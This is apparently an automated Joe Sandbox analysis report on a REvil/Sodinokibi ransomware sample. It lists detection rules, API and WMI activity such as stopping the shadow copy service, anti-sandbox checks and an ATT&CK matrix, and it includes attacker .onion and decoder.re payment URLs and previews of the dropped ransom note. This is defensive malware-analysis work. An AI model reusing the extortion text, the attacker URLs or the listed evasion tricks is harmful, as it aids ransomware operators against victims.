        Source: 1.2.46a40ec6_by_Libranalysis.exe.1360000.1.unpack, type: UNPACKEDPEMatched rule: MAL_RANSOM_REvil_Oct20_1 date = 2020-10-13, hash4 = fc26288df74aa8046b4761f8478c52819e0fca478c1ab674da7e1d24e1cfa501, hash3 = f6857748c050655fb3c2192b52a3b0915f3f3708cd0a59bbf641d7dd722a804d, hash2 = f66027faea8c9e0ff29a31641e186cbed7073b52b43933ba36d61e8f6bce1ab5, hash1 = 5966c25dc1abcec9d8603b97919db57aac019e5358ee413957927d3c1790b7f4, author = Florian Roth, description = Detects REvil ransomware, reference = Internal Research
        Source: 1.0.46a40ec6_by_Libranalysis.exe.1360000.0.unpack, type: UNPACKEDPEMatched rule: MAL_RANSOM_REvil_Oct20_1 date = 2020-10-13, hash4 = fc26288df74aa8046b4761f8478c52819e0fca478c1ab674da7e1d24e1cfa501, hash3 = f6857748c050655fb3c2192b52a3b0915f3f3708cd0a59bbf641d7dd722a804d, hash2 = f66027faea8c9e0ff29a31641e186cbed7073b52b43933ba36d61e8f6bce1ab5, hash1 = 5966c25dc1abcec9d8603b97919db57aac019e5358ee413957927d3c1790b7f4, author = Florian Roth, description = Detects REvil ransomware, reference = Internal Research
        Source: classification engineClassification label: mal100.rans.evad.winEXE@2/7@0/0
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeCode function: 1_2_013652F0 GetDriveTypeW,GetDiskFreeSpaceExW,1_2_013652F0
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeCode function: 1_2_0136590A CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,1_2_0136590A
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile created: c:\program files\pci8j8oug-readme.txtJump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile created: c:\users\pci8j8oug-readme.txtJump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeMutant created: \Sessions\1\BaseNamedObjects\Global\2DF65726-6A41-E3E2-8FF3-0D43B3D09962
        Source: 46a40ec6_by_Libranalysis.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeWMI Queries: IWbemServices::ExecNotificationQuery - ROOT\CIMV2 : SELECT * FROM __InstanceCreationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_Process'
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeWMI Queries: IWbemServices::ExecMethod - ROOT\CIMV2 : \\computer\root\CIMV2:Win32_Process.Handle="5612"::GetOwner
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeWMI Queries: IWbemServices::ExecMethod - ROOT\CIMV2 : \\computer\root\CIMV2:Win32_Process.Handle="5612"::GetOwner
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeWMI Queries: IWbemServices::ExecMethod - ROOT\CIMV2 : \\computer\root\CIMV2:Win32_Process.Handle="3976"::GetOwner
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeWMI Queries: IWbemServices::ExecMethod - ROOT\CIMV2 : \\computer\root\CIMV2:Win32_Process.Handle="3976"::GetOwner
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeWMI Queries: IWbemServices::ExecMethod - ROOT\CIMV2 : \\computer\root\CIMV2:Win32_Process.Handle="4700"::GetOwner
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeWMI Queries: IWbemServices::ExecMethod - ROOT\CIMV2 : \\computer\root\CIMV2:Win32_Process.Handle="4700"::GetOwner
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile read: C:\$Recycle.Bin\S-1-5-21-3853321935-2125563209-4053062332-1002\desktop.iniJump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
        Source: 46a40ec6_by_Libranalysis.exeVirustotal: Detection: 73%
        Source: 46a40ec6_by_Libranalysis.exeMetadefender: Detection: 44%
        Source: 46a40ec6_by_Libranalysis.exeReversingLabs: Detection: 82%
        Source: unknownProcess created: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exe 'C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exe'
        Source: unknownProcess created: C:\Windows\System32\wbem\unsecapp.exe C:\Windows\system32\wbem\unsecapp.exe -Embedding
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4a04656d-52aa-49de-8a09-cb178760e748}\InProcServer32Jump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeDirectory created: c:\program files\pci8j8oug-readme.txtJump to behavior
        Source: 46a40ec6_by_Libranalysis.exeStatic PE information: section name: .xl7f
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile created: C:\pci8j8oug-readme.txtJump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile created: c:\program files\pci8j8oug-readme.txtJump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile created: c:\program files (x86)\pci8j8oug-readme.txtJump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile created: c:\recovery\pci8j8oug-readme.txtJump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile created: c:\users\pci8j8oug-readme.txtJump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile created: c:\program files (x86)\microsoft sql server\pci8j8oug-readme.txtJump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile created: c:\users\default\pci8j8oug-readme.txtJump to behavior
        Source: C:\Windows\System32\wbem\unsecapp.exeRegistry key monitored for changes: HKEY_CURRENT_USER_ClassesJump to behavior

        Malware Analysis System Evasion:

        barindex
        Contains functionality to detect sleep reduction / modificationsShow sources
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeCode function: 1_2_01365DD31_2_01365DD3
        Queries sensitive service information (via WMI, WIN32_SERVICE, often done to detect sandboxes)Show sources
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeWMI Queries: IWbemServices::ExecNotificationQuery - ROOT\CIMV2 : SELECT * FROM __InstanceModificationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_Service'
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeWMI Queries: IWbemServices::ExecMethod - ROOT\CIMV2 : \\computer\root\CIMV2:Win32_Service.Name="VSS"::StopService
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeWMI Queries: IWbemServices::ExecMethod - ROOT\CIMV2 : \\computer\root\CIMV2:Win32_Service.Name="VSS"::StopService
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Jump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeCode function: 1_2_01365D29 rdtsc 1_2_01365D29
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeCode function: 1_2_01367C40 CreateToolhelp32Snapshot,Thread32First,GetCurrentProcessId,GetCurrentThreadId,OpenThread,SetThreadToken,Thread32Next,1_2_01367C40
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeCode function: OpenSCManagerW,EnumServicesStatusExW,RtlGetLastWin32Error,CloseServiceHandle,CloseServiceHandle,EnumServicesStatusExW,OpenServiceW,ControlService,DeleteService,CloseServiceHandle,CloseServiceHandle,1_2_01363FC9
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeWindow / User API: threadDelayed 10000Jump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exe TID: 6896Thread sleep count: 10000 > 30Jump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeCode function: 1_2_01367DA1 FindFirstFileExW,FindFirstFileW,FindNextFileW,FindClose,1_2_01367DA1
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeCode function: 1_2_013658D6 GetSystemInfo,1_2_013658D6
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile opened: C:\Program Files\Google\Chrome\NULLJump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile opened: C:\Program Files\Google\NULLJump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile opened: C:\Program Files\Google\Chrome\Application\NULLJump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile opened: C:\Program Files\Google\ChromeJump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile opened: C:\Program Files\Google\Chrome\Application\85.0.4183.121Jump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile opened: C:\Program Files\Google\Chrome\ApplicationJump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeProcess information queried: ProcessInformationJump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeCode function: 1_2_01365D29 rdtsc 1_2_01365D29
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeCode function: 1_2_01367C40 CreateToolhelp32Snapshot,Thread32First,GetCurrentProcessId,GetCurrentThreadId,OpenThread,SetThreadToken,Thread32Next,1_2_01367C40
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeCode function: 1_2_013655F9 mov eax, dword ptr fs:[00000030h]1_2_013655F9
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeCode function: 1_2_013658ED mov ecx, dword ptr fs:[00000030h]1_2_013658ED
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeCode function: 1_2_01364F5C HeapCreate,GetProcessHeap,1_2_01364F5C
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeProcess token adjusted: DebugJump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeCode function: OpenProcess,QueryFullProcessImageNameW,PathFindFileNameW, svchost.exe1_2_01365115
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeCode function: 1_2_01367660 AllocateAndInitializeSid,SetEntriesInAclW,SetNamedSecurityInfoW,1_2_01367660
        Source: 46a40ec6_by_Libranalysis.exe, 00000001.00000002.916361317.0000000001520000.00000002.00000001.sdmp, unsecapp.exe, 00000012.00000002.915856738.000001BD7DC50000.00000002.00000001.sdmpBinary or memory string: Program Manager
        Source: 46a40ec6_by_Libranalysis.exe, 00000001.00000002.916361317.0000000001520000.00000002.00000001.sdmp, unsecapp.exe, 00000012.00000002.915856738.000001BD7DC50000.00000002.00000001.sdmpBinary or memory string: Shell_TrayWnd
        Source: 46a40ec6_by_Libranalysis.exe, 00000001.00000002.916361317.0000000001520000.00000002.00000001.sdmp, unsecapp.exe, 00000012.00000002.915856738.000001BD7DC50000.00000002.00000001.sdmpBinary or memory string: Progman
        Source: 46a40ec6_by_Libranalysis.exe, 00000001.00000002.916361317.0000000001520000.00000002.00000001.sdmp, unsecapp.exe, 00000012.00000002.915856738.000001BD7DC50000.00000002.00000001.sdmpBinary or memory string: Progmanlock
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeCode function: 1_2_01365235 cpuid 1_2_01365235
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeCode function: 1_2_0136569F GetUserNameW,1_2_0136569F

        Mitre Att&ck Matrix

        Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
        Replication Through Removable Media1Windows Management Instrumentation11Windows Service1Windows Service1Masquerading3OS Credential DumpingQuery Registry1Replication Through Removable Media1Archive Collected Data1Exfiltration Over Other Network MediumEncrypted Channel2Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationSystem Shutdown/Reboot1
        Default AccountsService Execution1Boot or Logon Initialization ScriptsProcess Injection12Virtualization/Sandbox Evasion2LSASS MemorySecurity Software Discovery24Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothProxy1Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDefacement1
        Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Process Injection12Security Account ManagerVirtualization/Sandbox Evasion2SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationSteganographyExploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
        Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Binary PaddingNTDSProcess Discovery3Distributed Component Object ModelInput CaptureScheduled TransferProtocol ImpersonationSIM Card SwapCarrier Billing Fraud
        Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptSoftware PackingLSA SecretsApplication Window Discovery1SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
        Replication Through Removable MediaLaunchdRc.commonRc.commonSteganographyCached Domain CredentialsPeripheral Device Discovery11VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
        External Remote ServicesScheduled TaskStartup ItemsStartup ItemsCompile After DeliveryDCSyncAccount Discovery1Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
        Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/JobIndicator Removal from ToolsProc FilesystemSystem Owner/User Discovery1Shared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue
        Exploit Public-Facing ApplicationPowerShellAt (Linux)At (Linux)Masquerading/etc/passwd and /etc/shadowSystem Service Discovery1Software Deployment ToolsData StagedExfiltration Over Asymmetric Encrypted Non-C2 ProtocolWeb ProtocolsRogue Cellular Base StationData Destruction
        Supply Chain CompromiseAppleScriptAt (Windows)At (Windows)Invalid Code SignatureNetwork SniffingFile and Directory Discovery3Taint Shared ContentLocal Data StagingExfiltration Over Unencrypted/Obfuscated Non-C2 ProtocolFile Transfer ProtocolsData Encrypted for Impact
        Compromise Software Dependencies and Development ToolsWindows Command ShellCronCronRight-to-Left OverrideInput CaptureSystem Information Discovery25Replication Through Removable MediaRemote Data StagingExfiltration Over Physical MediumMail ProtocolsService Stop

        Behavior Graph

        Hide Legend

        Legend:

        • Process
        • Signature
        • Created File
        • DNS/IP Info
        • Is Dropped
        • Is Windows Process
        • Number of created Registry Values
        • Number of created Files
        • Visual Basic
        • Delphi
        • Java
        • .Net C# or VB.NET
        • C, C++ or other language
        • Is malicious
        • Internet

        Screenshots

        Thumbnails

        This section contains all screenshots as thumbnails, including those not shown in the slideshow.

        windows-stand

        Antivirus, Machine Learning and Genetic Malware Detection

        Initial Sample

        SourceDetectionScannerLabelLink
        46a40ec6_by_Libranalysis.exe74%VirustotalBrowse
        46a40ec6_by_Libranalysis.exe47%MetadefenderBrowse
        46a40ec6_by_Libranalysis.exe83%ReversingLabsWin32.Ransomware.Sodinokibi
        46a40ec6_by_Libranalysis.exe100%AviraTR/Crypt.XPACK.Gen
        46a40ec6_by_Libranalysis.exe100%Joe Sandbox ML

        Dropped Files

        No Antivirus matches

        Unpacked PE Files

        SourceDetectionScannerLabelLinkDownload
        1.0.46a40ec6_by_Libranalysis.exe.1360000.0.unpack100%AviraTR/Crypt.XPACK.GenDownload File
        1.2.46a40ec6_by_Libranalysis.exe.1360000.1.unpack100%AviraTR/Crypt.XPACK.GenDownload File

        Domains

        No Antivirus matches

        URLs

        SourceDetectionScannerLabelLink
        http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/30E456597D8963710%Avira URL Cloudsafe
        http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/0%Avira URL Cloudsafe
        http://decoder.re/30E456597D8963710%Avira URL Cloudsafe
        http://decoder.re/1%VirustotalBrowse
        http://decoder.re/0%Avira URL Cloudsafe

        Domains and IPs

        Contacted Domains

        No contacted domains info

        URLs from Memory and Binaries

        NameSourceMaliciousAntivirus DetectionReputation
        http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/30E456597D89637146a40ec6_by_Libranalysis.exe, 00000001.00000002.918186145.000000000307C000.00000004.00000040.sdmp, pci8j8oug-readme.txt3.1.drtrue
        • Avira URL Cloud: safe
        unknown
        http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/46a40ec6_by_Libranalysis.exe, 00000001.00000003.646956316.000000000307C000.00000004.00000040.sdmptrue
        • Avira URL Cloud: safe
        unknown
        http://decoder.re/30E456597D89637146a40ec6_by_Libranalysis.exe, 00000001.00000002.918186145.000000000307C000.00000004.00000040.sdmp, pci8j8oug-readme.txt3.1.drfalse
        • Avira URL Cloud: safe
        unknown
        http://decoder.re/46a40ec6_by_Libranalysis.exe, 00000001.00000003.646956316.000000000307C000.00000004.00000040.sdmpfalse
        • 1%, Virustotal, Browse
        • Avira URL Cloud: safe
        unknown
        https://torproject.org/46a40ec6_by_Libranalysis.exe, 00000001.00000003.646956316.000000000307C000.00000004.00000040.sdmp, pci8j8oug-readme.txt3.1.drfalse
          high

          Contacted IPs

          No contacted IP infos

          General Information

          Joe Sandbox Version:32.0.0 Black Diamond
          Analysis ID:399463
          Start date:28.04.2021
          Start time:20:10:59
          Joe Sandbox Product:CloudBasic
          Overall analysis duration:0h 5m 40s
          Hypervisor based Inspection enabled:false
          Report type:full
          Sample file name:46a40ec6_by_Libranalysis (renamed file extension from none to exe)
          Cookbook file name:default.jbs
          Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
          Number of analysed new started processes analysed:26
          Number of new started drivers analysed:0
          Number of existing processes analysed:0
          Number of existing drivers analysed:0
          Number of injected processes analysed:0
          Technologies:
          • HCA enabled
          • EGA enabled
          • HDC enabled
          • AMSI enabled
          Analysis Mode:default
          Analysis stop reason:Timeout
          Detection:MAL
          Classification:mal100.rans.evad.winEXE@2/7@0/0
          EGA Information:Failed
          HDC Information:
          • Successful, ratio: 99.7% (good quality ratio 94.8%)
          • Quality average: 85.7%
          • Quality standard deviation: 26.7%
          HCA Information:Failed
          Cookbook Comments:
          • Adjust boot time
          • Enable AMSI
          Warnings:
          Show All
          • Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
          • Report size getting too big, too many NtOpenFile calls found.
          • Report size getting too big, too many NtOpenKeyEx calls found.
          • Report size getting too big, too many NtQueryDirectoryFile calls found.
          • Report size getting too big, too many NtQueryValueKey calls found.
          • Report size getting too big, too many NtQueryVolumeInformationFile calls found.

          Simulations

          Behavior and APIs

          No simulations

          Joe Sandbox View / Context

          IPs

          No context

          Domains

          No context

          ASN

          No context

          JA3 Fingerprints

          No context

          Dropped Files

          No context

          Created / dropped Files

          C:\Program Files (x86)\Microsoft SQL Server\pci8j8oug-readme.txt
          Process:C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exe
          File Type:data
          Category:dropped
          Size (bytes):6932
          Entropy (8bit):3.8744534800924155
          Encrypted:false
          SSDEEP:96:GLYiNsg1xU3TPCPivPC57bH8KnghZVcNzeR4M5q7eLoHVxfd9PrR5u:GLYz3jCPivPKsiNiRhw7yGDnDW
          MD5:FC139A95BA91D93C8563BEDD75C07E03
          SHA1:3A0DF2C16C4D35BA64BEF4B56A1D0A2B6B532B3E
          SHA-256:322553A3A5A708ADA95C46DFC66A277AD47FFDE24E9A12779429F9E2D9757685
          SHA-512:38BCF0320AD2F93E4FBADB1AFDBDE5DCC014FC332182D58E5D0534E705B78CF442BC8429A565A2B87E53494CA224A4BC75E1DF7358900EC41F117D22DA837320
          Malicious:false
          Reputation:low
          Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .p.c.i.8.j.8.o.u.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
          C:\Program Files (x86)\pci8j8oug-readme.txt
          Process:C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exe
          File Type:data
          Category:dropped
          Size (bytes):6932
          Entropy (8bit):3.8744534800924155
          Encrypted:false
          SSDEEP:96:GLYiNsg1xU3TPCPivPC57bH8KnghZVcNzeR4M5q7eLoHVxfd9PrR5u:GLYz3jCPivPKsiNiRhw7yGDnDW
          MD5:FC139A95BA91D93C8563BEDD75C07E03
          SHA1:3A0DF2C16C4D35BA64BEF4B56A1D0A2B6B532B3E
          SHA-256:322553A3A5A708ADA95C46DFC66A277AD47FFDE24E9A12779429F9E2D9757685
          SHA-512:38BCF0320AD2F93E4FBADB1AFDBDE5DCC014FC332182D58E5D0534E705B78CF442BC8429A565A2B87E53494CA224A4BC75E1DF7358900EC41F117D22DA837320
          Malicious:false
          Reputation:low
          Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .p.c.i.8.j.8.o.u.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
          C:\Program Files\pci8j8oug-readme.txt
          Process:C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exe
          File Type:data
          Category:dropped
          Size (bytes):6932
          Entropy (8bit):3.8744534800924155
          Encrypted:false
          SSDEEP:96:GLYiNsg1xU3TPCPivPC57bH8KnghZVcNzeR4M5q7eLoHVxfd9PrR5u:GLYz3jCPivPKsiNiRhw7yGDnDW
          MD5:FC139A95BA91D93C8563BEDD75C07E03
          SHA1:3A0DF2C16C4D35BA64BEF4B56A1D0A2B6B532B3E
          SHA-256:322553A3A5A708ADA95C46DFC66A277AD47FFDE24E9A12779429F9E2D9757685
          SHA-512:38BCF0320AD2F93E4FBADB1AFDBDE5DCC014FC332182D58E5D0534E705B78CF442BC8429A565A2B87E53494CA224A4BC75E1DF7358900EC41F117D22DA837320
          Malicious:false
          Reputation:low
          Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .p.c.i.8.j.8.o.u.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
          C:\Recovery\pci8j8oug-readme.txt
          Process:C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exe
          File Type:data
          Category:dropped
          Size (bytes):6932
          Entropy (8bit):3.8744534800924155
          Encrypted:false
          SSDEEP:96:GLYiNsg1xU3TPCPivPC57bH8KnghZVcNzeR4M5q7eLoHVxfd9PrR5u:GLYz3jCPivPKsiNiRhw7yGDnDW
          MD5:FC139A95BA91D93C8563BEDD75C07E03
          SHA1:3A0DF2C16C4D35BA64BEF4B56A1D0A2B6B532B3E
          SHA-256:322553A3A5A708ADA95C46DFC66A277AD47FFDE24E9A12779429F9E2D9757685
          SHA-512:38BCF0320AD2F93E4FBADB1AFDBDE5DCC014FC332182D58E5D0534E705B78CF442BC8429A565A2B87E53494CA224A4BC75E1DF7358900EC41F117D22DA837320
          Malicious:false
          Reputation:low
